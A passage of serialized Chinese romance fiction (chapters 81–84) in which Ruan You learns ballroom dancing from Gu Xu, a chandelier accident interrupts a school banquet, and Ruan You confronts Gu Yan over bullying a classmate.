阮柚眼睛很亮,弯唇笑,“哥哥,我最最最喜欢吃小熊饼干了,我会把它吃光的。”她笑容很甜,手指紧紧握着。 她从不会把别人的心意扔在地上。 广场上有艺术家在吹笛子。笛声悠扬,于半空温柔流转。落叶堆积的石阶,鸽子扇动几下翅膀,昂首飞向湛蓝的天空。 阮柚兴高采烈地同顾叙分享近期种种。 她像一只不知倦地小百灵,嗓音清泠泠,于他的世界烁动跳跃。 她讲她回了学校,也办理了住校。 顾叙安静倾听。他是个很好的倾听者,微弯脖颈,专注到不遗漏细节,也从不泛滥过界的好奇。 阮柚恍然:“对了,你也在那里上过学吧。” 顾叙颔首,说,“前年毕业了。” 闻言,阮柚觉得可惜:“要是你还在那里就好了,我就可以每天就见到你。” 顾叙的优秀有目共睹。尽管已经毕业,老师还会时不时提起他,反复赞叹他的得天独厚。她不禁想,如果他还在圣煜,她不仅能天天看到他,还能让他教教她学习呢。 顾叙一怔,薄唇抿着,尚未回话。 少年安静地有些魂不守舍,可一双深灰的眼睛却仍然平静柔和,注视她时,柔和到近乎纵容的程度。阮柚沉浸其中,早已习惯,未曾参透异样。 她很快想到什么。“哥哥,你最近有时间么?” 顾叙点头。“怎么了?” 阮柚抿了抿唇,“如果有空,我想要你教我跳舞…就那种基本的交际舞就好。” 顾叙经常参加那些宴会,应该是会的。 阮柚四肢不太协调,平衡性也差,跳起舞的样子一定很笨。她不想让不认识的人教他。只有在顾叙面前,她才最松弛、也不怕出错。 “跳舞?” 顾叙偏头看她,似有探究。阮柚摸了摸鼻尖,吐舌轻道,“是我不久后要参加一个宴会啦。需要和一个人跳舞,但我不太会跳。” 闻言,顾叙垂下乌黑的眼睫,曲了曲指节。 隔了几秒,他径自移开目光,眺望远方,视线有些空,久不聚焦。 “原来是这样。” “我知道了。” “可以吗?”阮柚眨巴了几下眼睛。 须臾,她觉察到自己语气里的渴望,强抑下来,很轻地补了句,“不行的话就算啦,我可以请礼仪老师的。”顾叙平时很忙的,她才不想让顾叙为难。 顾叙凝神,却并未在思索,只是瞧她。 半晌,他伸手捡起飘落在她膝盖的落叶,眉眼随之染上淡笑。 “阮柚,那场舞会对你而言很重要么?”他问。 少年语气寻常,情绪转变流畅自然,仿佛之前窥见的沉郁仅是她的错觉。 阮柚想了想:“…算是吧。” 她摸了摸鼻尖。 唔。 毕竟她真的很想要那些学分。 就像天上掉馅饼、不要白不要一样。 思及此处。 她很轻地点头,确认心思。 “如果不行就算了。” 最后一刻,却是她表露出迟疑。 她怕顾叙刻意迁就她。 “好。” 顾叙掀起眼皮,却一口答应下来。 目光交汇。 阳光下,少年唇红齿白,眼瞳专注,正温柔地朝她笑。 “你想做什么,我都会帮你。” 他想起成玉昨日说过的话。 对方告诉他,自己可能要和阮柚一起跳舞。 成玉若有所思地问他怎么想。 彼时,顾叙脊背挺拔,神态自若,长指静落在黑白琴键上,“她怎么想,我就怎么想。” 如今,一切有了答案。 ———他会在人群安静旁观。 然后,于灯火阑珊处为她尽兴鼓掌。 哪怕她不曾看见。 第82章 第八十二章 顾叙篇 真的很好吃啊。 吃完饼干后, 阮柚特意拍了照发给顾叙。 对方没有回复,应该是在忙的状态。 她舔了舔唇瓣,放下了手机, 打开台灯,翻书本打算学会儿习。 明天有一节实验操作课,为了防止出错, 她要提前预习一下。学了会儿习, 她伸了个懒腰,感觉浑身酸软, 便去浴室洗了个澡。 出来后时间还早。 阮柚想了想,决定拎钥匙出门散散步。 钥匙碰撞指尖,清泠泠作响。阮柚出宿舍时,外面路灯早早亮了起来。 晚风斜斜扫过, 原本半湿的头发彻底干透。阮柚将外套的帽子扣在脑袋上,一张小脸罩在阴影下, 只隐约瓷白皮肤。 适时, 手机提示响起。 她低头一瞧, 发现是顾叙回来了消息。 “下次我多带一些。” 冷冷的电子光晕映了过来, 阮柚微闪眼瞳, 回了个卖萌的表情包。 “好哦。” 下次见是什么时候呢? 阮柚思忖。 很快了,就在明天。 暮色已至,晚风温凉。 路过露天篮球场时, 阮柚发现仍有人打球。 她一门心思放在手机聊天上, 没怎么注意。却在真正路过时, 依稀听见熟悉的名字。 篮球场,有男生在喊成玉的名字。 成玉? 她缓慢地眨了下眼,生出星点好奇。 那头, 男生不经意问,“你还不打算回家?” 隔了半晌,成玉回,“哪个家?” 少年不在意地扯唇,随手丢开篮球,拧开矿泉水瓶盖喝水。暂时没了兴致,篮球就这样一拍低过一拍地起伏、坠落,最后滚落在无人问津的角落。而令阮柚几分局促的是,那刚好停在阮柚的方向。 她本想走。 却不期间,目光隔空交汇。 心渐渐沉下。 成玉挑眉,微微歪了歪头,好整以暇瞧着她。须臾,他笑起来,依旧漫不经心,却极浅薄,“还说没偷看?” 闻言。 好似被揪了一下,飘忽不定。 阮柚抿了抿唇,哪能被冤枉,当即提高音量呛了句我没有。但她不想恋战,说完后,便飞速地跑远了。 呼吸微重。 跑累了,她在一颗树旁停下来。 忍不住思忖,怎么会这么巧,这下更是说不清楚了。而且,这样仿佛更做实她在心虚。 她心虚什么呀,她又没真的偷看。 再说就算偷看了,又怎么怎么样呀。 谁让他在外面打篮球的! 最后,她选择抛开杂乱的思绪。 阮柚稳住了呼吸,感觉口渴,就去便利店买了杯矿泉水。结帐后走出门,她拧开瓶盖正打算喝,倏地有一道声音打断了她动作。 “喝凉水对胃不好。” 那道声线清清冷冷,极为陌生。 等她犹疑望去、看清人脸时,不由愣住,心跳也乱掉了半拍。 对面,江净理轻蹙了下眉。 灯火寂败,少年眉眼情绪忽明忽暗,好似穿透漫长的时间,无声无息地落在她身上,描摹她细微的变化。 最后,却转瞬即逝。 阮柚涌起一股莫名。 她知道江净理,出身名门世家,矜贵至极。她甚至还比一般人更了解他,因为她曾做了件蠢到让人发笑的事,但如今,那段记忆早在时间变化推演下,被她刻意遗忘,消失淡去。 她很久没见过他了。 可是刚刚? 她尚在迷茫,握着打开的矿泉水愣神,却听斜刺里,有人在叫江净理的名字。 闻言,江净理回神,缓慢转动过眼珠。他压低些视线,再度恢复先前的神态,却透出倦淡来,“对不起。” 究竟对不起什么。 他并没有再说。 因为他连自己都不知道,刚刚为什么会忽然说出那句话。 很莫名,却难以控制。 阮柚下意识看了眼他离开的方向。 少年身形颀长清瘦。 昏黄的灯火将他的影子长长拖在地面,融在月光照不到的阴影,最终渐行渐远、消失不见。 好像刚才发生的事,只是她的幻觉。 风来了又去,内心荡起的星点涟漪很快消失不见。阮柚温吞地眨了下眼,心中泛空,但她把它归咎于夜色太凉。 她想,时间不早了。 她也该回去了。 / 阮柚和顾叙约定了下午五点。 一个空旷的练舞室。地址在五楼,她按好电梯楼层的数字,低头看了眼手机屏幕的时间。 16:40 她还提前了呢。 房门没关,阮柚抬脚走进时,却发现顾叙早早在那里。少年坐在飘窗处低头看书,落日余晖洒在侧脸,像被镀上了薄薄的柔光,连细小绒毛都依稀可见。 阮柚心里一痒,觉得这幕很好看。 她悄悄从外套口袋里掏出手机,想定格这一幕,却不知什么时候开了闪光灯。 须臾,冷白灯火骤然绽开。 少年觉察抬头,光线刺目迎下,下意识阖了阖眼皮,睫毛随之颤了颤,缓慢且温吞。 好像搞砸了。 阮柚不由摸了摸鼻尖,默默垂下了拿手机的右手,有点心虚地喊了声哥哥。顾叙掀眸,反应过来,“在拍我?” 他合上书,站直了些,“为什么拍我。” 阮柚实话实说:“因为觉得你好看。” 她忍不住去察看刚才拍的照片,。 虽然不小心开了闪光灯,却意料之外拍的格外清楚。照片里,少年略略抬眼,一瞬不瞬望向镜头,领口下冷白喉结凸起,颈线分明清晰。 有些欲。 她莫名想到了这个比喻。 看着照片,阮柚不由赞叹,“哥哥,这张你好性感哦。”她发自内心的赞美,当下,早把偷拍的心虚抛之脑后。 闻言,顾叙曲了曲指节。 走近看清照片后,紧绷的那根弦才松了少许。他偏头瞧她专注的侧脸,不由失笑了声,“这是第一次,听到有人这么说我。” 阮柚:“我是第一个吗?” 顾叙看了她一眼,慢吞地颔首。 阮柚弯了弯唇,忍不住笑了起来。 “那太好了,又当了第一个。” 顾叙深切觉得,阮柚对这个世界抱有他从未有过的热诚。她热爱这个世界,包括遇见的人。她很喜欢占据他每个第一次,想要做最特别的那个,也从不会掩饰这一点。 有点可爱的占有欲。 呼吸有些热,他却抿直薄唇,径自正入主题,“阮柚,交际舞其实不难的。” 阮柚缓神,却叹了口气,“我觉得我四肢不太协调。”她之前也学过,但一但跳舞,她整个人像是被困在壳子里,笨拙地不像话。最后索性放弃了,对于这个环节能逃则逃。 可她不怕告诉顾叙。 顾叙一瞬不瞬看她,情绪起伏并不大,依然柔和干净。阮柚很喜欢望着这双安静的眼睛,仿若彻底沉溺池水,她可以忘记全数烦恼。 容她满心依恋。 下一秒,顾叙朝她瘫开手,“哥哥教你,好不好?”阮柚眼瞳一闪,伸手,不假思索搭上去。 “放松一些,没关系的。” 隔几秒。 阮柚听见头顶传来了一声很轻的叹息。相比起顾叙的松弛熟练,作为一个初学者,阮柚表面得尤其紧绷,只觉得浑身无处安放。动作随着反复调整。 最后,阮柚一只手就这样搭在了顾叙的肩膀。脚步缓慢变化时,她不自觉地抬头。 目光无声交汇。 无缘由地,顾叙先一步错开视线,右手却握紧了些,似在提醒她去专注。 阮柚只好嗯了声,努力调整最佳状态。 横移、后退、左抬,踮脚。 她反复随顾叙移动步伐,只觉自己像随风飘舞的叶,而对方是她唯一停靠的支点。 此时此刻。 她如提线木偶,他能轻易掌控她。却自始至终,不曾展现分毫越界。 他只是用不尽的耐心、温柔,点到为止、蜻蜓点水般的叮嘱随呼吸落她耳畔,送来痒痒的气息,“不用刻意数拍子。” 他对她说,嗓音很认真。 少年的手指虚悬在阮柚的腰间,半揽的姿态,距离也是令人恍惚的近。阮柚起初并未觉察这点,直到看清少年眼尾那颗不明显的小痣,才约莫觉察出什么。她慢吞地眨了下眼,喉咙闷嗯了声。 顾叙确实很会教。 渐渐地,阮柚没有刚开始的僵硬、紧张,更加松弛,也逐渐摸清了大概的步骤。 太阳落山,夜色渐渐晕染开来。 练舞室开了灯,温光,几分晕沉。阮柚有些累了,结束时,她有些懒倦地往后一靠,忍不住仰起脑袋,眼眸潋滟莹润,“现在几点了呀…好累呀。” 接住几分力。顾叙掌心贴着她的后背,一瞬,仿佛感觉到少女起伏的心跳。 像骤然被烫了下。 他蜷缩指节,面色却未改分毫。 阮柚结束了练习,打开窗透气。晚风就这样顷刻送了进来,她忍不住抬了抬下巴,非常享受地闭了闭眼。 她说。“谢谢你教我,哥哥。” “如果不是你,我这辈子不会跳舞的。” 顾叙站她身后,一时静默。他的目光绵长,越过少女肆意舒展的背影,就这样停留在窗外的繁华灯影。冷风拂面,热潮退去,他的呼吸也渐渐平稳。 他说,“你学得很快,并没有你想的那么差。” 阮柚回头,眼睛很亮,“真的吗?” 她相信了,笑容都忍不住溢出眼底,却仍是不知倦地问,“哥哥,我今天跳得还好吗?我真的已经努力控制没有踩到你了。” 顾叙见状,喉腔溢出一声笑。 “真的很好。” “那我应该不会丢脸了。” 阮柚迟疑地摸了摸下巴,“但我感觉…”她话语一顿,有点为难。 顾叙:“什么?” 她说,“感觉我不太习惯和人这么近。” 四目交接,阮柚笑容甜甜道,“不过你是例外啦。” 顾叙喉咙发痒,说,“为什么。” 他不自觉曲了曲指节,“为什么我是例外?” 阮柚安静几秒:“因为……你是我哥哥吧。” 乍一说,竟有些说不清道不明,她想了想组织语言,“是哥哥,所以我天然喜欢靠近你…也不需要有任何的防备束缚。” 应该是这样,没错。 她从不反感顾叙的靠近,却有点难以想象以这样的距离面对一个异性。 闻言,顾叙脊柱绷直,久久不曾说话。 指节死死摁在手心,泛起丝丝疼痛,后又化于深深的麻木。隔了几秒,顾叙很轻扯唇一笑,听不出多少情绪的起伏,“原来是这样。” 阮柚自顾自说,“如果和我跳舞的人是你就好了。”她想了想,又说,“如果你能一直陪着我就好了。” “不行的。” 半晌,顾叙接了话,“阮柚,你总该习惯的。”他说,“未来会有其他人。”顿了顿,语气极认真,“总会有人代替我陪在你身边。” 或许听出少年言语间的认真,即便阮柚参不透缘由,却仍感觉几分心酸。 她下意识想留住此刻。 于是乎,她抬起头,不由分说抓住顾叙的右手。“可是我只想要你。” 这次,顾叙却只是笑了笑,没说话。少年笑意迟迟不浸眼底,就这样安静站在她面前,视线柔和,仿佛在无限纵容着她的天真懵懂。 安静间隙,情绪被骤然放大。 见状,阮柚心里有点不开心。 她觉察到顾叙现在怪怪的。她等了半天,也迟迟没等来她想要的回答。 为什么顾叙要这么说,她只想要他陪她。 所以即使是他,也会变吗? 思及此处。 她抿了抿唇,眼睛酸了酸。 她未经思考便松开了他。 心头藏着几分赌气,阮柚站直了身子,干巴巴扔了句,“时间不早了,我先走了。” 少年一时未语。 不知为何,阮柚眼睛却更酸了。 她禁不住想,顾叙明明感觉出自己不开心了,却依旧没来哄她。不知何时,阮柚被顾叙惯坏了。在顾叙面前,敏感情绪也不曾隐藏、甚至无限放大。 她要快点离开。 才不要被顾叙察觉呢。 可擦肩而过之际,少年却抬手抓住她的手臂,拦住了她步伐。 顷刻定格,阮柚睫毛颤了颤,闷涩情绪如骤然开了闸,忍不住说,“不是不想陪我吗…” 少女刚跳完舞,头发散开,乌黑发丝妥帖的搭在肩膀,衬得肩颈愈白。她仰起了头,一双眼瞳隐约浮出水光,湿漉莹润,却有着倔强的明亮。 顾叙心跳发乱,手指松了松。 “对不起。” 他滚了滚喉结,轻声地哄,“刚才是我情绪…不太对。” 阮柚抿了抿唇。 下一秒,少年却垂下眼,留了一句稍等,便走开了。 见状。 委屈的情绪无处安放,随安静气氛肆意膨胀。 他就这么走了? 就这么留她一个人? 阮柚鼻腔更加酸涩,想就这样一走了之。 但又怕顾叙会回来,怕他回来找不到自己。 她就这样停在了原地。 好丢脸。 她有什么好难过的。 而好半晌,面前再度罩来熟悉的身影。 阮柚压下了哭腔,抬起头诉怨,“你说回来就回来,说走就走,要不是我人太好,谁还会在原地等你。” 或许太过激动,她的话语就这样从喉腔唇齿滚落出来,组织的混乱、缺少逻辑。 顾叙却听懂了。 他摸了摸她的头发。“是我的错。” 阮柚却说:“那你还不知道珍惜我。” 顾叙闻言,哑然一笑,却未让对方听见。 “没有不珍惜。” 而后。 他转身从身侧拿来了那个精美的礼盒,嗓音很轻,“我去给你拿礼物的。” 阮柚没有说话。 少年掀起了眼皮,温柔地说,“在童话里,舞会里的公主都需要穿漂亮的鞋子,对么?” 阮柚呼吸一滞,几分迷茫地定了定眸。 面前,少年的手背薄白、青脉分明。 他径自打开了盒子。 顾叙送给她一双镶钻扣带的高跟鞋,极漂亮华丽,在灯光下潋滟光芒。阮柚眼瞳微晃,视线抬了起来,就这样和他对视。她抿直了唇,呼吸也放缓了些,却仍干巴别扭地说,“可我早就过了相信童话的年纪了。” 顾叙则伸出手,安静替她换上。 灯光下,少年单膝跪地,略略抬眼,目光虔诚且柔和。 他就这样凝望她,“我没怎么看过童话。” 他弯了弯唇,很坦然地说,“但我想,你该过上像童话般的生活。” 美丽、灿烂。 一片光明。 我怎么会不珍惜你。 阮柚。 第83章 第八十三章 顾叙篇 宴会那天, 阮柚见到了成玉。少年罕见染回了黑发,穿了身黑色燕尾服,面容精致凌厉、贵气浑然。 散漫气散去, 气质依然张扬。 阮柚嘴唇稍稍抿紧,见他过来,礼貌轻颔首。他们本就是在几面之缘, 在她看来, 差不多等同于陌生人。 可对方似乎不这么想。目光交汇那刻,少年弯弯唇角, “姐姐,又见面了。” 成玉比他小一级。 但她没让他叫姐姐。 他们可不熟。 “你好。” 阮柚压下杂乱的心声,面上,依旧不咸不淡地应。 而成玉仍在瞧她, “听说顾叙教你跳舞了?” 闻言,阮柚嗯了声, “我已经会了, 等会我不会踩到你的。” 成玉显然不在意这些。 他只哦了声, 评了句, “真无私。” 阮柚有些奇怪地看了他一眼。 少年好像很喜欢这种哑谜游戏, 习惯话里有话,可她完全听不出,也没纠结这句话背后的含义。 舞会开场了。 令她感到意外的事, 两人互动配合的流畅顺利。 少年看似吊儿郎当, 实际有认真的时候。他有一双桃花眼, 欲勾不勾笑时,隐约透出几分缱绻意味来。阮柚不由得想,这也许就是他受欢迎的原因。 ———他有一双很会骗人的深情眼。 阮柚心中却没什么波澜。 舒缓的音乐里, 她随少年步伐缓慢移动,一心想着结束迎学分。 结束了。 阮柚很轻地呼了一口气,略略松弛脊背,却发觉成玉尚在打量自己,灯光之下,尤其专注。 他笑着说,“我还是坚定我先前的想法。” 坚定…什么想法? 阮柚茫然,想问,未来得及缓冲。 而下一瞬。 细细密密的呼吸骤然投在她的耳廓,温热晕染开来。 一时间,感官就好似被无限放大。 极痒极热,她下意识偏头闪躲,却正好坠入成玉的眼瞳。 对方澄净藏笑,装乖似的,气息扫在耳畔说,“他一直在看你哦。” 他看热闹不嫌事大。 说完以后,他便松开了她,闲闲拿起一杯红酒,抬脚退了场。他本就随心而来,做完想做的事,就没什么呆在这里的必要了。 阮柚心跳得极快。 许是刚刚跳完了舞,许是骤然靠近的距离。平复过后,她摸了摸耳朵,有些气。 什么啊。 真是莫名其妙的! 好想狠狠揍他一拳。 但她莫名地记起成玉最后说的话。阮柚走了几步,若有所觉侧过了视线。 舞会结束。 刚刚亲密的一幕被不少人看见,八卦悄然四起,却在当事人分开后逐渐平息下来。 转瞬即逝的小插曲。 顾叙旁观全程。 他手中红酒只剩一半,另一半则下了肚,过烈的酒气撩烧胃部,反复刺痛感官,却令他格外清醒。 在清醒旁观。 旁人在议论。 ——俊男靓女,看起来真般配。 顾叙听着,不曾言语,也不置可否。 但他仍看着,好似自虐般,旁观两人举止亲密、耳鬓厮磨。 他似乎醉了。 呼吸滚烫,血液却冰冰凉凉,竭尽全力,方才束缚住骨子里压抑的破坏欲。 顾叙该提前离开,双脚却牢牢钉在原地。 一直到,少女同他四目交接。 阮柚眼睛一亮,发现了顾叙,便提起裙摆朝他走来。她穿的正是顾叙送给她的高跟鞋,漂亮到好似童话中的水晶鞋,令她越看越喜欢。只是后跟高细,纵然她私下穿着走过许多次,仍是走得不太习惯。 她步调放的有点缓。终于到他面前,难免兴奋,“哥哥,原来你在这。” 顾叙下意识接过她伸来的手。 少女手心软软地,热意残存,他松松握着,不知为何,手指并未握得太紧。 阮柚对此浑然不觉。 结束后,她感觉自己有些闷热,紧身的礼服勒的胸口透不过气,说着话,薄白的小脸浮出浅浅的粉。 她想去外面散步。 临走前,她问顾叙来不来。 顾叙沉默两秒,却摇了摇头。 他拒绝了她的邀请。 阮柚虽有失望,却并未执着,她猜到顾叙也会有其他的事情,于是只点了点头。 而后,她道别离开了。 一出门,便是一条长长的走廊。 阮柚在其中穿梭走过,华美的如临梦境。廊旁由流光溢彩的水晶点缀,她不由伸手去触,发觉是小蝴蝶的形状。掌心的水晶蝴蝶正颦动翅膀,悠然定格在半空。 正认真欣赏,却听见有人在叫她名字。 阮柚眉心微动。 “阮柚?” 抬头,是顾烟。 “你刚才跳得很好。” 顾烟笑盈盈地,红唇勾起,“我在台下还为你鼓掌了呢。” 阮柚今天画了淡妆,原本好看的容颜更显出惊艳来,月光下是超脱世俗的美。饶是顾烟不喜欢她,但不得不承认,她非常漂亮。 阮柚心情没什么波澜,“哦,谢谢。” 顾烟是艺术团一员,如今却只是个镶边的角色。看着阮柚能大放异彩,她有种微妙的羡慕。她想了想,于是说:“你什么时候回家,我们都很想你。” 阮柚嘴唇抿紧了些。 也许黑夜放大了敏感的神经,她莫名联想出对方话语里的旁音。他们是他们,阮柚是阮柚。但她罕见地未因此失态,反而目光一转,就被顾烟手腕上的贝壳手链所吸引。 有点眼熟。 阮柚眼底浮现淡淡的茫然。 顾烟随之看过去,主动说,“这是我一个好朋友送给我的。” “好朋友?” 阮柚张了张唇,失神地问。 顾烟:“是啊,人都有朋友的,是吧?” “虽然我来圣煜不久,但对方可是很关照我呢。” 是啊。 ———人都会有朋友。 走开以后。 阮柚默念了这句话,却仍忍不住回想刚刚看见的那一幕。贝壳项链,熟悉的穿线设计、颜色搭配,和宁糖送给她的相差无几。 是巧合? 还是… 阮柚心情顿时乱糟糟。 胸腔又空又涩,她吸了一口长气,索性不去想。某种程度,她是一个占有欲很强、又有点执拗的人很,她想,倘若真这样,她就不和她做朋友了。 虽然一想到这,胸口就会很闷。 阮柚走了没多久。 一个拐角处,有人忽地拦住了她。 步伐稍稍顿住,阮柚视线随之上移。 面前是一个陌生的男生。 对方红着脸,结结巴巴说,“你好。” 阮柚茫然,但还是点头。 “你好。” 男生却向她表了白。 他喝了几口酒,荷尔蒙作祟的他终是在同伴撺掇下鼓起勇气,“我、我喜欢你已经很久了,从第一次见到你那刻起。” 樱花树下。 少女明眸皓齿,伸手接住飘舞的粉瓣。 原来世界上有这么好看的人。 彼时,他一见倾心。 阮柚有点懵,迟迟地问了句,“你喜欢我什么呢?” 他不假思索,“你非常非常漂亮。” 漂亮。 阮柚美而自知,骄傲于自己的容颜。但不知何时,旁人提起她,只剩下了漂亮。仿佛她无论自己怎么努力,都只有漂亮这一点拿的出手,就只剩下花瓶的名号。 她拒绝了男生。 男生仍不死心,临走前咬了咬牙,强塞给她一封写好的情书。“这是我一直想对你说的话,无论如何,我都希望你能看见。” 阮柚怔然,等反应过后,对方已经跑远了。追也不是,扔也不行,她踩着高跟鞋,只好将信拿在了手里。 她轻吁了口气。 真的是起起伏伏的一晚。 透完了气,阮柚有些饿了。自然而然,她打算折返回去吃些小蛋糕。 然而她刚走了没几步,倏地变故逢声。 砰的一声——— 吊灯挣脱了房顶束缚,绽开缝隙掉了下来。 眼前一黑,阮柚呼吸不由一空。 “啊啊啊啊啊啊!” “血!” “有人被砸中了!” 宴会场。 顾叙和人谈完了话,转身,再度看向了远处空荡荡的出口。 他不该违背内心。 仰头抿了口红酒,顾叙静静旁听悠扬的钢琴声,微微出神。 刚刚,他为什么要拒绝? 他不禁自嘲自己的失控。 而就在此刻,一道急促的声音从外面闯了进来。 “不好了,出事出事了!” “外面有个小姑娘好像被灯砸到了。” “谁?” “我就说国会的钱不知道去哪里了,这种宴会居然还会出这种意外…” 顾叙闻言,忽地有股异样的预感划过心头。一时间乘势而上,令他浑身血脉倒流。 酒杯不期地掉在地上,溅起的红好似猩红的血,于一尘不染的裤脚骤然晕开。有人见状低啊了声,觉察他的失态,“顾叙,怎么了。” 顾叙没应。他咽下喉间的焦灼,顷刻转身,朝出口快步走去。 人群来来往往,擦肩而过的衣角。 各式各样或浓郁或冷烈的香水气息,掺混鼻息,碰撞在跳动的心脏。 夜色浓郁,少年紧紧抿唇,皮肤苍白,视线循环往复地寻觅。 直到—— 穿过重重人群,他看到狼藉碎片前,那斑驳鲜红的血、以及那抹熟悉的白裙角。 心骤然极致下坠。 顾叙睫毛颤了颤,呼吸隐约阵痛。他仓促拨开人群,朝着中央走去。 他弯下了身,嗓音很轻很轻,“阮柚。” 顿了顿,他垂下睫毛,“对不起。是我来晚了。” 顾叙弯下了身,触手可及之前,却忽然畏手畏脚,一只手就这样半悬在半空。 他竟害怕弄伤她。 而下一秒。 他却倏然触见一个陌生的眼睛。 女生唇色隐忍着苍白,瞥见说话的人时,神色怯怯紧张,心中却登时泛起惊涛骇浪。 顾叙? 周围人也同样的心情。 ——这是? “哥哥?” 于斜刺里。阮柚抱着临时从附近的储物室找来的小医药箱,疑惑歪了歪脑袋,“你怎么会在这?” 顾叙心跳一空。 阮柚低头给女生处理了伤口。 全程顾叙在旁边看着,没有说话。 女生面露感激,余光却忍不住打量着不远处沉默的少年。 人潮渐渐散去。 少年皮肤被月光扫的苍白,眸色沉静,瞧不出多少神采。女生想起什么,揪了揪阮柚的袖子,凑在耳边道,“他真的很担心你。” 刚刚虽然是误会。 但那一刻,她真切感受到少年眼眸压抑的破碎、担忧。 阮柚闻言,呼吸一慢。 小声说,“谢谢你告诉我这些。” 简单处理过后,顾叙联系了专门医生,女生被送去医院。她伤的不重,却也是见了血。幸好阮柚第一时间发现并帮忙,没让她多么害怕。 时间在流动,人走后。 一时间,只剩下阮柚和顾叙。 气氛安静了下来,阮柚莫名想起刚刚听见的话,心脏也跟着软了软。虽然只是个乌龙,但她依旧很感谢顾叙,能这么惦记、关心她。 但同时,她又不想他这样。 很复杂的情绪,她不想顾叙因她而如此愧疚消极。哪怕她真的受伤了,又和顾叙有什么关系呢? 她喊了一声哥哥。 很轻很轻,好似羽毛划过、像小猫挠痒痒。夜色寂寥,皎白的月光洒在两人之间,于地面绽出飘忽的柔光,距离也衬得没那么远。 闻声,少年久不聚焦的眼瞳慢吞一动。 他偏过了头,就这样看了过来。 身体的感官在渐渐的复苏回暖,先是视线、再是嗅觉,再后来,她觉察到触手可及的温度,细细密密将他拉回现实。 阮柚摁了摁他的掌心。 耳边是她的声音,藏着一如既往的柔和依恋。顾叙嗯了声,彻底回归了现实。 阮柚仰起头,安静了几秒,忽地松开了他。她抬起了一只手,笑着说,“哥哥,不要皱眉,这是个不好的习惯。” 冰凉的指尖倏忽划过他的眉心。 顾叙眼瞳微闪,浑身宛若电流划过,酥酥麻麻,胸腔颤起重重心跳。 少女眉眼带笑,满眼都是他。 顾叙阖了阖眼皮。 而后,忽地环过臂弯,紧紧将她拥抱住。 阮柚呼吸一空,眼前清恍残影。 顷刻间,她坠入一个熟悉温暖的环抱。 可这一次,少年却抱得格外的紧,力道大到像是要把她揉进骨子里般,隔着薄质相贴的布料,依稀能听见对方翻涌的心跳。 阮柚觉察出他其中的异样。不知为何,呼吸也变得小心翼翼,绵长静默。 正欲抬手回拥,却听顾叙极轻地开头,偏低过头,于耳边脖颈处烙下滚热的气息,“阮柚,我以为我什么都不怕的。” 阮柚睫毛一颤。 而后,顾叙掌心轻扣她后颈,声线隐忍沙哑,“但我发现,我怕会失去你。” 怎么办 他怎么舍得去放手。 第84章 第八十四章 顾叙篇 阮柚在学校遇见了宁糖。 对方眼睛红红地, 下巴紧绷,神情却近乎有种苍白的麻木,就像游魂一样在校园游荡。 阮柚不是一个好奇心过重的人。 但见此情形, 她抿了抿唇,心头不由一揪。 几步上前,她拉住了宁糖的手。 两人最后停在了树荫底下。 宁糖茫然, “阮柚?” 见清是阮柚, 宁糖没有再挣扎,而是由她牵着。阮柚的手很温暖, 掌心热源不绝,几乎将她包裹、融化。 阮柚安静凑近,用纸巾给她擦眼泪。 而后,她眨了下眼睛, 认真又严肃,“宁糖, 我们是朋友吗?” … 阮柚没有想过霸凌宁糖的会是顾烟。 在此之前, 她还曾有一瞬间以为他们是朋友的关系。 她想起顾烟的贝壳饰品。 原来, 她是抢来的。 阮柚是在咖啡厅附近见到顾烟的。 顾烟刚结束了家庭课, 后面还跟着一个冷脸听歌的顾盛。见阮柚来了, 顾盛反而是最不平静地那个人,忙摘下耳机打招呼,“阮柚!你怎么来了。” 阮柚只是淡淡点头。 她目标很明确, 她就是来找顾烟的。 顾烟见她过来, 朝她浅浅地笑, “姐姐,下午好。” “我不是你姐姐。” 顾烟笑:“那你是谁?” 顾盛闻言蹙眉,“顾烟!” 顾烟瘪瘪嘴看了他一眼, 眼底有压抑的委屈闪过。 顾盛放平了语气,问:“阮柚,是有什么事吗?” 阮柚开门见山:“你为什么要欺负宁糖。” 顾烟一愣,虚虚张了张唇。 顾盛:“宁糖?” 阮柚从没有一次这么生气过,“原来一直以来都是你在欺负她。” “我没有!”顾烟忙说,“我没有欺负她,我就是和她玩。” 阮柚冷笑,“和她玩?” 她冷冷细数,“故意拿走她衣服、撕坏她的作业稿、联合一群人攻击排挤她,这些也算和她玩?” 闻言,顾盛皱了皱眉头。 顾烟:“我没有做过这些。” “如果说我有证据呢?”阮柚拿出一个手机,那里是一则六分钟的录音。 “谁让她录下来的!” 顾烟眼底闪过一阵慌乱,忙看向顾盛,“哥哥,你不要信…是假的!” 顾盛冷脸,“是不是真的?” 顾烟涨红了脸,盯着阮柚,抿唇不说话。 阮柚:“和宁糖当面道歉,保证你以后再也不会霸凌,否则,我会立刻将你的真面目公之于众。” 顾烟咬着唇,握紧了拳。 而后,她忽地提高音量,透出些许尖锐来,“凭什么?” 顾烟:“我不需要和任何人道歉!” 阮柚目光冷下去。 顾盛:“顾烟!” 顾烟红着眼,扭头哽咽,“哥哥,你还是向着她是不是!”她眼瞳闪烁起了泪光,“你为什么要向着她,明明…” 顾烟的话还未说完,便被顾盛骤然打断。 “够了!不要再说了,就按阮柚说的做。”顾盛皱了皱眉,神情是褪不去的厌倦。 顾烟看了他,死死咬住唇,哭着跑走了。 “你根本不向着我!” 阮柚看了一场闹剧。落幕后,她嘴唇抿紧了些,对顾盛很认真地说,“我不会因为她哭就放过她。” 顾盛牵强地抬抬唇角。“我会让她来道歉的。” 阮柚呼了口气,心底仍有丝丝难受,但面上未表露出什么,只将手机收了起来。 其实她哪里有什么证据,只是觉得要是不这么说,顾烟一定不会承认的。 她无话可说。 打算离开时,听见顾盛问他,“你真的把顾叙当哥哥了么?” 有点跳跃的问题。 阮柚一愣,点头。 顾盛停了几秒:“他没有你想的那么好。” “他对我好。” 阮柚却说,“谁真心对我好,我就会对谁好。” 回去路上。 阮柚莫名想到顾烟说的话。 对方似乎有许多话要说,但又出于某种原因,忍在了心里。记忆定格——— 顾烟说。 明明…? 明明什么? 心底异样划过,阮柚阖了阖眼皮,太短暂,没能够抓住。 顾烟被艺术团除名了。 这是阮柚未预料的事情。 宁糖说她最近再也没有被欺负了,但对方的那句道歉,没有听见,也没有奢望。金钱、权利仿佛将人无形划分了三六九等。宁糖在圣煜只是无权无势的特招生,她能在学业上大放异彩,却无力抗衡其他。 顾烟找来那天,阮柚正在杂货店外的古树下等顾叙。他们约好一起去看围棋大赛,即使阮柚不太懂,但仍然执拗地想要陪他。 她正低头看自己影子。 倏地,有人叫她名字。 是顾烟,她穿了一身灰色大衣,没化妆,神情有种说不出的憔悴。 